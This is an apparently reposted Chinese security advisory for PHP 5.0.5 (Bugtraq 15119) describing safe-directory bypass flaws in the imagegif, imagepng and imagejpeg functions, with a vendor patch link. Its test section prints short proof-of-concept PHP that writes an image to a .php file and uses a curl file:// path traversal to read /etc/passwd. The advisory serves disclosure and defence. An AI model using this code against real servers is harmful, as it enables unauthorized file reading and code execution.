注册
登录
| 关键词： PHP 厂商 file imagegif 任意 日期 方法 安全 SERVER SCRIPT |
发布日期：2005-10-18更新日期：2005-10-18 受影响系统： PHP PHP 5.0.5描述： --------------------------------------------------------------------------------BUGTRAQ ID: 15119 PHP是广泛使用的通用目的脚本语言，可嵌入到HTML，尤其适用于Web开发。 PHP的imagegif()、imagepng()和imagejpeg()函数中存在多个漏洞，允许攻击者绕过safedir目录限制，执行系统上已有的任意代码，或检索任意文件内容。 <*来源：Slythers （[email protected]） david coallier （[email protected]） 链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112958675914217&w=2*> 测试方法： -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ $im = imagecreatefromgif("file.webp");imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');?> mkdir("./".$_SERVER["SCRIPT_NAME"]."?");$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd "); $file=curl_exec($ch); echo $file; ?> 建议： --------------------------------------------------------------------------------厂商补丁： PHP---目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
